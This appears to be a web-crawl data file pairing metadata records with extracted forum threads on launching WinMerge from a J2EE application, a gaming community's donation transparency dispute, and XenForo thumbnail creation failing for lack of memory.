{ "url": "https://blog.brillskills.com/2013/09/javascript-subclassing-using-object-create/", "source_domain": "blog.brillskills.com", "snapshot_id": "CC-MAIN-2024-18", "warc_metadata": { "Content-Length": "80672", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:MWYENRFLT3P5QIN7Y4UAXJMH77ZMUWB4", "WARC-Concurrent-To": "<urn:uuid:53a74251-5f0b-42f2-bf06-f643f3a2472a>", "WARC-Date": "2024-04-21T02:47:24Z", "WARC-IP-Address": "31.220.106.248", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:R6AGNDHF5ZI2TGVDRQGC2GKJF72GP2RN", "WARC-Record-ID": "<urn:uuid:0a8485fa-e2b2-48ca-86eb-9dd12f34f011>", "WARC-Target-URI": "https://blog.brillskills.com/2013/09/javascript-subclassing-using-object-create/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:cb9bca3c-c4a8-4ac8-aed6-5567a13a3867>" }, "warc_info": "isPartOf: CC-MAIN-2024-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-47\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 43, 44, 387, 388, 401, 453, 508, 548, 576, 600, 603, 617, 618, 1084, 1085, 1720, 1721, 2066, 2067, 2080, 2095, 2103, 2106, 2111, 2112, 2141, 2142, 2165, 2179, 2180, 2184, 2185, 2268, 2269, 2376, 2377, 2390, 2417, 2442, 2443, 2501, 2544, 2558, 2559, 2579, 2580, 3173, 3174, 3184, 3185, 4291, 4292, 4293, 4300, 4301, 4304, 4305, 4307, 4308, 4311, 4312, 4318, 4319, 4328, 4329, 4389, 4390, 4412, 4413, 4531, 4532, 4533, 4561, 4598, 4661, 4693, 4701, 4720, 4726, 4727, 4757, 4795, 4856, 4936, 4942, 4943, 4985, 4986, 5007, 5020, 5021, 5121, 5122, 5221, 5222, 5308, 5309, 5335, 5336, 5520, 5521, 5569, 5570, 5581, 5582, 5600, 5601, 5636, 5637, 6135, 6136, 6527, 6528, 6554, 6555, 6681, 6682, 6696, 6697 ], "line_end_idx": [ 43, 44, 387, 388, 401, 453, 508, 548, 576, 600, 603, 617, 618, 1084, 1085, 1720, 1721, 2066, 2067, 2080, 2095, 2103, 2106, 2111, 2112, 2141, 2142, 2165, 2179, 2180, 2184, 2185, 2268, 2269, 2376, 2377, 2390, 2417, 2442, 2443, 2501, 2544, 2558, 2559, 2579, 2580, 3173, 3174, 3184, 3185, 4291, 4292, 4293, 4300, 4301, 4304, 4305, 4307, 4308, 4311, 4312, 4318, 4319, 4328, 4329, 4389, 4390, 4412, 4413, 4531, 4532, 4533, 4561, 4598, 4661, 4693, 4701, 4720, 4726, 4727, 4757, 4795, 4856, 4936, 4942, 4943, 4985, 4986, 5007, 5020, 5021, 5121, 5122, 5221, 5222, 5308, 5309, 5335, 5336, 5520, 5521, 5569, 5570, 5581, 5582, 5600, 5601, 5636, 5637, 6135, 6136, 6527, 6528, 6554, 6555, 6681, 6682, 6696, 6697, 6767 ] }
{ "red_pajama_v2": { "ccnet_original_length": 6767, "ccnet_original_nlines": 119, "rps_doc_curly_bracket": 0.002364420099183917, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3569277226924896, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.012048190459609032, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.22891566157341003, "rps_doc_frac_unique_words": 0.4721345901489258, "rps_doc_mean_word_length": 5.5383806228637695, "rps_doc_num_sentences": 85, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.5160698890686035, "rps_doc_word_count": 951, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.016138220205903053, "rps_doc_frac_chars_top_3gram": 0.013100439682602882, "rps_doc_frac_chars_top_4gram": 0.004556669853627682, "rps_doc_books_importance": -537.1773071289062, "rps_doc_books_importance_length_correction": -537.1773071289062, "rps_doc_openwebtext_importance": -254.318359375, "rps_doc_openwebtext_importance_length_correction": -254.318359375, "rps_doc_wikipedia_importance": -215.87879943847656, "rps_doc_wikipedia_importance_length_correction": -215.87879943847656 }, "fasttext": { "dclm": 0.0801113173365593, "english": 0.874567985534668, "fineweb_edu_approx": 2.203233480453491, "eai_general_math": 0.2540585398674011, "eai_open_web_math": 0.16148000955581665, "eai_web_code": 0.048281729221343994 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1332", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "16", "label": "Personal Blog" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-744,379,741,345,595,600
aspose file tools* The moose likes EJB and other Java EE Technologies and the fly likes Call external app Big Moose Saloon   Search | Java FAQ | Recent Topics | Flagged Topics | Hot Topics | Zero Replies Register / Login JavaRanch » Java Forums » Java » EJB and other Java EE Technologies Bookmark "Call external app" Watch "Call external app" New topic Author Call external app Robin Rodgers Greenhorn Joined: Aug 04, 2005 Posts: 3 Hi. I have a J2EE app where I am keeping versions of a text field in a database, and I need to be able to view the differences between the versions and merge them where necessary. I thought about using WinMerge (free) and writing temp files for the text fields, but I don't know how to open WinMerge from within my app. Would this work from within a J2EE app? How would I start it from my program? (I am using Spring throughout and JSPs on the front end.) Thanks! Marco Barenkamp Ranch Hand Joined: Aug 27, 2001 Posts: 94 Hi, you may use ProcessBuilder (Java5) or java.lang.Runtime (Java1.4) to invoke the program. But beware: You are not allowed to inkoke that program from within your J2EE App (acc. to the spec.), but you may implement a JCA connector or a MBean (hope, you have an MBean server in your apserver) that provides the invocation. (or use JNI if you are able to implement C code and you have a static library or dll, you can adopt) Marco Barenkamp<br />_ _ _ _ _ ________________________ _ _ _ _ _ <br />L M I N T E R N E T S E R V I C E S AG<br /> <br />Head of Software Development<br /> <br /> <br />BEA Certified Enterprise Developer<br />Sun Certified Programmer for the Java2 Platform<br />Sun Certified Web Component Developer for the Java2 Platform<br />Sun Certified Developer for the Java 2 Platform <br />Sun Certified Business Component Developer for the Java 2 Platform <br />Sun Certified Enterprise Architect for the Java 2 Platform Enterprise Edition<br /> <br />LMIS AG Robin Rodgers Greenhorn Joined: Aug 04, 2005 Posts: 3 Thanks for the quick response. I have a couple more questions (all this is new to me.) If I use, say, an MBean, would it invoke WinMerge on the server or on the user's machine? If on the server, would the user see it? What benefits would using an MBean have, e.g., knowing when WinMerge closes maybe? Are there any other diff tools for use in internet apps? Thanks! Marco Barenkamp Ranch Hand Joined: Aug 27, 2001 Posts: 94 The process would run in the server, because the MBean lives inside the AppServer. Due to the fact, that the MBean owns the process of the win32 application, you are able to get to know whether the process is still alive or not.     subject: Call external app  
{ "url": "http://www.coderanch.com/t/316792/EJB-JEE/java/Call-external-app", "source_domain": "www.coderanch.com", "snapshot_id": "crawl=CC-MAIN-2014-35", "warc_metadata": { "Content-Length": "25577", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:AG5MWBQNKINBYNQJJEF4ABO3TQGCPXDM", "WARC-Concurrent-To": "<urn:uuid:193344a7-a9d1-41d6-ad97-f7e3f772e359>", "WARC-Date": "2014-08-22T16:04:22Z", "WARC-IP-Address": "204.144.184.130", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:KYZO4M2R3XRCS4FY2H3EAAGU7XGZGCXD", "WARC-Record-ID": "<urn:uuid:9a335a91-4248-49e2-b4e8-322b4a396028>", "WARC-Target-URI": "http://www.coderanch.com/t/316792/EJB-JEE/java/Call-external-app", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:3d003bd8-92ab-437b-a13a-7a312429499e>" }, "warc_info": "robots: classic\r\nhostname: ip-10-180-136-8.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-35\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for August 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 19, 123, 204, 221, 289, 354, 361, 362, 380, 381, 395, 405, 406, 427, 436, 900, 916, 927, 928, 949, 959, 1029, 1094, 1162, 1283, 1384, 1385, 1386, 1941, 1955, 1965, 1966, 1987, 1996, 2362, 2378, 2389, 2390, 2411, 2421, 2493, 2560, 2636, 2650, 2652, 2654, 2681 ], "line_end_idx": [ 19, 123, 204, 221, 289, 354, 361, 362, 380, 381, 395, 405, 406, 427, 436, 900, 916, 927, 928, 949, 959, 1029, 1094, 1162, 1283, 1384, 1385, 1386, 1941, 1955, 1965, 1966, 1987, 1996, 2362, 2378, 2389, 2390, 2411, 2421, 2493, 2560, 2636, 2650, 2652, 2654, 2681, 2682 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2682, "ccnet_original_nlines": 47, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.29530200362205505, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.07046979665756226, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2281879186630249, "rps_doc_frac_unique_words": 0.4656652510166168, "rps_doc_mean_word_length": 4.336909770965576, "rps_doc_num_sentences": 26, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.0148844718933105, "rps_doc_word_count": 466, "rps_doc_frac_chars_dupe_10grams": 0.05047006160020828, "rps_doc_frac_chars_dupe_5grams": 0.20435428619384766, "rps_doc_frac_chars_dupe_6grams": 0.19495299458503723, "rps_doc_frac_chars_dupe_7grams": 0.1335972249507904, "rps_doc_frac_chars_dupe_8grams": 0.1335972249507904, "rps_doc_frac_chars_dupe_9grams": 0.1335972249507904, "rps_doc_frac_chars_top_2gram": 0.02078179083764553, "rps_doc_frac_chars_top_3gram": 0.0371103398501873, "rps_doc_frac_chars_top_4gram": 0.01632855087518692, "rps_doc_books_importance": -248.00814819335938, "rps_doc_books_importance_length_correction": -248.00814819335938, "rps_doc_openwebtext_importance": -123.49671936035156, "rps_doc_openwebtext_importance_length_correction": -123.49671936035156, "rps_doc_wikipedia_importance": -98.41496276855469, "rps_doc_wikipedia_importance_length_correction": -98.41496276855469 }, "fasttext": { "dclm": 0.08373326063156128, "english": 0.8662638068199158, "fineweb_edu_approx": 1.428216576576233, "eai_general_math": 0.011595959775149822, "eai_open_web_math": 0.10249608755111694, "eai_web_code": 0.0012467500055208802 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.452", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-1,187,098,381,132,317,000
Donations Forum » Community » General Discussion Joined: 28th May 2016 Rank: Registered Likes 46 13th Nov 2017 Hey all.  This a question more directed towards the Admin side of our group but I believe it does involve everybody.   I was a monthly donor for quite some time.  It was nice to be able to avoid the que in my favorite server and well worth the measly 5 bucks a month.  Well, after the donation structure change up we had a few months back I let my donation to Mig drop .  I wasn't playing a game with a que and so my benefit for donating went away.  Lately I've been thinking since I do spend a lot of time on the Mig TeamSpeak and could waste a few extra bucks in less dubious ways, go back to donating.  The only problem I have is the fact that I don't know where the donations go to.  There has never been a spreadsheet of the costs of the whole site, the amount of monthly donations or what and where any leftover moneys go to. I don't mind helping the cause and paying for a bit of the services that I use but there is nothing to tell me that the whole site overhead is totally paid for by a percentage of current donations and the rest is just going into someones personal bank account.  I don't mean to say that every persons donation amount should be listed like some sort of dick measuring contest, but there should be some sort of way to show the contributing members incoming revenue and outgoing payments. I am by no means trying to pick fights with anyone.  I just want to know where the money will be going to if I choose to be a donating member. Joined: 21st Jan 2016 Rank: Key leads Likes 1238 13th Nov 2017 It goes towards having a Teamspeak license, a domain name, BF4 Servers, third parties anti-cheat software, the seeding script wasn't free. I'm missing a few things that Brian could probably explain more but that's the gist of it, in my opinion. Like (1) "This community is being dragged down by the balls by Angry_Cuban" - Maverick, 2018 Play stupid games, win stupid prizes Motorcharge (Banned) Joined: 30th Jul 2016 Rank: Registered Likes 52 13th Nov 2017 Some clarification after the recent confusion would be nice as well since some of us were directly told some stuff and there's never really been an explanation or clear up since. The above was intentionally left vague because I'm not trying to stir the pot or finger point or anything here. I've been considering donating for server 1 despite the use of Paypal but backed off on that idea after the recent confusion with donations. | Twitch | Twitter | Joined: 28th May 2016 Rank: Registered Likes 46 13th Nov 2017 QuoteIt goes towards having a Teamspeak license, a domain name, BF4 Servers, third parties anti-cheat software, the seeding script wasn't free. I'm missing a few things that Brian could probably explain more but that's the gist of it, in my opinion. ...That's a couple of sentences strung together to sound good with no factual data in them. Joined: 12th Dec 2015 Rank: BF Admins Likes 114 13th Nov 2017 I am going to get an updated answer for you guys. Last I checked (when we had all our BF4 servers mind you) it was over $1000 a month after its said and done. Brian is sleeping guys. ______________________ Super Admin | Tech Support ______________________ pm me with any questions! Last Edit: 13th Nov 2017 by some KonflicT_RiZe (Banned) Joined: 9th Jan 2016 Rank: -- Likes 200 14th Nov 2017 There are a lot of associated costs with running a gaming community, especially one thats as old and successful ours. And it is that age that should speak for itself. Donations aren't just meant to meet recurrent costs but to assure this communities long term survival. Like Cuban stated above there are  BF4 Servers to pay for, anti-cheat software, seeding scripts, yearly website licensing/hosting to pay for. If there are purchases made those purchases are always tied into the communities needs The money is also there so that we can fire up any type of gaming server we so choose at a drop of a hat without worrying about having enough funds to do so. Everything you see before you has had many hours of sweat and dedication poured into it. None of this was, or is currently free. Any asshole with his mothers credit card can fire up a BF4 server and play on it with a couple of buddies no problem. But good luck getting a dedicated population to play on it with you. That requires months and months of seeding, seeding that is hard to motivate people to do. We have dedicated machines with seeder accounts that help us with that where people do not. As far as donations being used to line someones bank account, the individuals who are now in charge of that do not need the money. They are well off, trustworthy founding members of this community. If you can trust anything, trust this communities long term track record. Many communities have attempted to put together and maintain what we have here, they are now barren waste lands with no activity and no membership. We have some exciting plans for the future concerning upcoming games and communications infrastructure, we hope you're around for that. Many of you know me and where I stand when it comes to donations trust, the people associated with that trust, morals, and the long term maintenance of this community. I back Brian 100%, the shit he deals with behind the scene, you could only imagine. Having to deal with the politics, the logistics and the associated headaches that come along with that is enough to stress anyone out. But thankfully hes still here and believes in all of this. BOTTOM LINE, all of this is VOLUNTARY, nobody gets paid to maintain and fix problems associated with the communities infrastructure. When something crashes or breaks someone has to get their ass out of bed to repair it so people can continue to play on our servers and use our Team Speak. There's coding involved, troubleshooting and a fuck ton of frustration so before you CRITICIZE be sure to do your homework. This community has had its share of individuals who thought they knew what it took to start and maintain their own community at this level, they stole knowledge, personnel and manipulated donors in order to get it done. They no longer have a community and the players that trusted them are now back with us.   You don't have to donate, you don't have to be here but you cannot expect for all of this to be around for your entertainment without some level of contribution. Like I said, this isn't free and thankfully those who do enjoy playing here believe in us enough to support us and you so that we can be around for many more years to come.   Remember people, this is supposed to be an ENJOYABLE HOBBY. A place to hang out and play video game with FRIENDS. We hope we'll have your continued and very much APPRECIATED SUPPORT!   Please note, when i say "you" I am not talking to any one person, Im resonating this message to everyone. Like (7) "If you will not fight, then you will meet your destiny" Last Edit: 14th Nov 2017 by KonflicT_RiZe Forum » Community » General Discussion Please login or register to reply. Discord App Widget Chat Box Online Members None Online Guests: 110
{ "url": "http://www.migaming.us/290596/topic/donations-mtu", "source_domain": "www.migaming.us", "snapshot_id": "crawl=CC-MAIN-2020-24", "warc_metadata": { "Content-Length": "72281", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:6GRTGAYYP33QCG4GO5EQOY7IHGPUXPUH", "WARC-Concurrent-To": "<urn:uuid:809dafed-b991-4170-958b-7bb7933c7b8d>", "WARC-Date": "2020-05-26T02:17:58Z", "WARC-IP-Address": "5.10.98.107", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:2PZZL2X6TWQVINLGR6W353ZEADJK4Z2T", "WARC-Record-ID": "<urn:uuid:600010d7-aa67-419e-88c4-efacdc1aaa61>", "WARC-Target-URI": "http://www.migaming.us/290596/topic/donations-mtu", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:83235798-2aa5-444e-9ec3-eae3dedaae7e>" }, "warc_info": "isPartOf: CC-MAIN-2020-24\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-182.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 10, 49, 71, 88, 97, 111, 112, 231, 232, 945, 946, 1432, 1433, 1576, 1577, 1578, 1600, 1616, 1627, 1641, 1642, 1887, 1896, 1897, 1898, 1982, 1983, 1984, 2021, 2022, 2043, 2065, 2082, 2091, 2105, 2106, 2285, 2286, 2539, 2540, 2541, 2562, 2563, 2585, 2602, 2611, 2625, 2626, 2876, 2877, 2969, 2970, 2971, 2972, 2994, 3010, 3020, 3034, 3035, 3218, 3219, 3220, 3243, 3270, 3293, 3319, 3320, 3353, 3376, 3397, 3406, 3416, 3430, 3431, 3598, 3599, 3931, 3932, 4090, 4091, 4498, 4499, 4591, 4592, 4790, 4791, 5013, 5014, 5150, 5151, 5319, 5320, 5598, 5599, 6012, 6013, 6323, 6324, 6661, 6662, 6722, 6723, 6777, 6778, 6849, 6850, 6956, 6957, 6966, 6967, 6968, 7025, 7026, 7068, 7107, 7142, 7161, 7170, 7185, 7190 ], "line_end_idx": [ 10, 49, 71, 88, 97, 111, 112, 231, 232, 945, 946, 1432, 1433, 1576, 1577, 1578, 1600, 1616, 1627, 1641, 1642, 1887, 1896, 1897, 1898, 1982, 1983, 1984, 2021, 2022, 2043, 2065, 2082, 2091, 2105, 2106, 2285, 2286, 2539, 2540, 2541, 2562, 2563, 2585, 2602, 2611, 2625, 2626, 2876, 2877, 2969, 2970, 2971, 2972, 2994, 3010, 3020, 3034, 3035, 3218, 3219, 3220, 3243, 3270, 3293, 3319, 3320, 3353, 3376, 3397, 3406, 3416, 3430, 3431, 3598, 3599, 3931, 3932, 4090, 4091, 4498, 4499, 4591, 4592, 4790, 4791, 5013, 5014, 5150, 5151, 5319, 5320, 5598, 5599, 6012, 6013, 6323, 6324, 6661, 6662, 6722, 6723, 6777, 6778, 6849, 6850, 6956, 6957, 6966, 6967, 6968, 7025, 7026, 7068, 7107, 7142, 7161, 7170, 7185, 7190, 7208 ] }
{ "red_pajama_v2": { "ccnet_original_length": 7208, "ccnet_original_nlines": 120, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 5, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4683888554573059, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.027192389592528343, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.13596193492412567, "rps_doc_frac_unique_words": 0.4001566171646118, "rps_doc_mean_word_length": 4.417384624481201, "rps_doc_num_sentences": 58, "rps_doc_symbol_to_word_ratio": 0.0006798100075684488, "rps_doc_unigram_entropy": 5.6543049812316895, "rps_doc_word_count": 1277, "rps_doc_frac_chars_dupe_10grams": 0.08509130030870438, "rps_doc_frac_chars_dupe_5grams": 0.0967913493514061, "rps_doc_frac_chars_dupe_6grams": 0.0967913493514061, "rps_doc_frac_chars_dupe_7grams": 0.08509130030870438, "rps_doc_frac_chars_dupe_8grams": 0.08509130030870438, "rps_doc_frac_chars_dupe_9grams": 0.08509130030870438, "rps_doc_frac_chars_top_2gram": 0.009927320294082165, "rps_doc_frac_chars_top_3gram": 0.011700049974024296, "rps_doc_frac_chars_top_4gram": 0.012231869623064995, "rps_doc_books_importance": -608.5408325195312, "rps_doc_books_importance_length_correction": -608.5408325195312, "rps_doc_openwebtext_importance": -294.24725341796875, "rps_doc_openwebtext_importance_length_correction": -294.24725341796875, "rps_doc_wikipedia_importance": -259.43756103515625, "rps_doc_wikipedia_importance_length_correction": -259.43756103515625 }, "fasttext": { "dclm": 0.0202525295317173, "english": 0.9718562364578247, "fineweb_edu_approx": 0.9831041097640991, "eai_general_math": 0.038934770971536636, "eai_open_web_math": 0.15420109033584595, "eai_web_code": 0.0016704200534150004 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "338.4", "labels": { "level_1": "Social sciences", "level_2": "Economics", "level_3": "Industries, Prices, and Microeconomics" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "5", "label": "Comment Section" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-7,899,010,051,609,046,000
Implemented thumbnail creation gib Active member I can upload images of 1024x768 ok When I try uploading larger resolution image 3264x2448 (850k in size), it looks like the GD library is failing when creating a thumbnail. PHP Fatal error: Out of memory (allocated 31457280) (tried to allocate 13056 bytes) in /home/sites/site name.com/public_html/community/library/XenForo/Image/Gd.php on line 57 The Maximum Attachment Image Dimensions is on default blank settings, so it looks like a GD lib problem. I get a similar problem with the nextgen gallery in Wordpress 3.0.1, but I can resolve that by specifying ImageMagick, which is on the server. Is there any way I can switch to ImageMagick to handle the image handling and thumbnails ?   Mike XenForo developer Staff member ImageMagick is not an option at this time. We may need to provide some sort of option to limit thumbnailing/shrinking to images that are smaller than a specific size (dimensions). On a side note, it looks like you're explicitly limited to the amount of memory you can actually use. I understand it, but it seems like a bad approach as it doesn't allow graceful handling.   Reactions: gib gib Active member Thanks for the update mike. I will remove the max mem limit in my php.ini and see if I can squeeze a bit more flexibility out.   island Active member I'm going off topic here a bit, but where are we in terms of client-side image resizing possibilities? I remember 2-3 years ago a microsoft dev showed me client side resizing using their silverlight browser plugin. That would certainly make uploading a larger number of photos much less taxing on the server and faster if it could be done client side. But, I didn't do anything with it at the time because I figured the majority didn't have that plugin yet, even if pushed by microsoft. Is anyone doing anything with client side image resizing yet? Any graceful way to allow/integrate it if the client has a plugin capable of resizing on their side?   gib Active member it worked okay yesterday with large images, but it's failing again today, uploading same images. PHP Fatal error: Out of memory (allocated 31457280) (tried to allocate 3264 bytes) in /home/sites/sitename.com/public_html/forum/library/XenForo/Image/Gd.php on line 57 I've got Wordpress 3.0.1 running in root dir, I'll try again with a totally clean install using XenForo only .....   gib Active member I'd love to see an ImageMagick option within XenForo. I don't think forum users would typically know that they would need to resize images before uploading and client side image resizing sounds like it isn't going to happen. I am using shared hosting, so I can't increase the memory on the server end :( The only other option would be dedicated hosting, but that would cost too much for the small private site I have in mind (a couple of hundred users max) ImageMagick is working fine on my Wordpress sites and my VB4 site, but unfortuantely the GD libs seem to be a memory hog.   masterchief Well-known member I would like to see ability to place images from gallery anyplace that I desired just the way NextGen gallery does it by using bbcodes. NextGen for xenForo please... YeeeeeHA!   Top
{ "url": "https://xenforo.com/community/threads/thumbnail-creation.4945/", "source_domain": "xenforo.com", "snapshot_id": "crawl=CC-MAIN-2019-04", "warc_metadata": { "Content-Length": "63801", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:D2V5SDTBKS2NXQDOCUSZEZN23NTF3FJM", "WARC-Concurrent-To": "<urn:uuid:67c9a20d-a814-4740-a990-5c71bc95bf7c>", "WARC-Date": "2019-01-18T14:54:42Z", "WARC-IP-Address": "104.25.97.119", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:FS3KY54BQEACK53JFU5IGX3TDJJIRULX", "WARC-Record-ID": "<urn:uuid:08147150-a13e-43df-8bf1-1f457762d3bf>", "WARC-Target-URI": "https://xenforo.com/community/threads/thumbnail-creation.4945/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:f4fe215f-2df1-402b-a2ee-aa6cc94f0ebe>" }, "warc_info": "isPartOf: CC-MAIN-2019-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-63-93-216.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
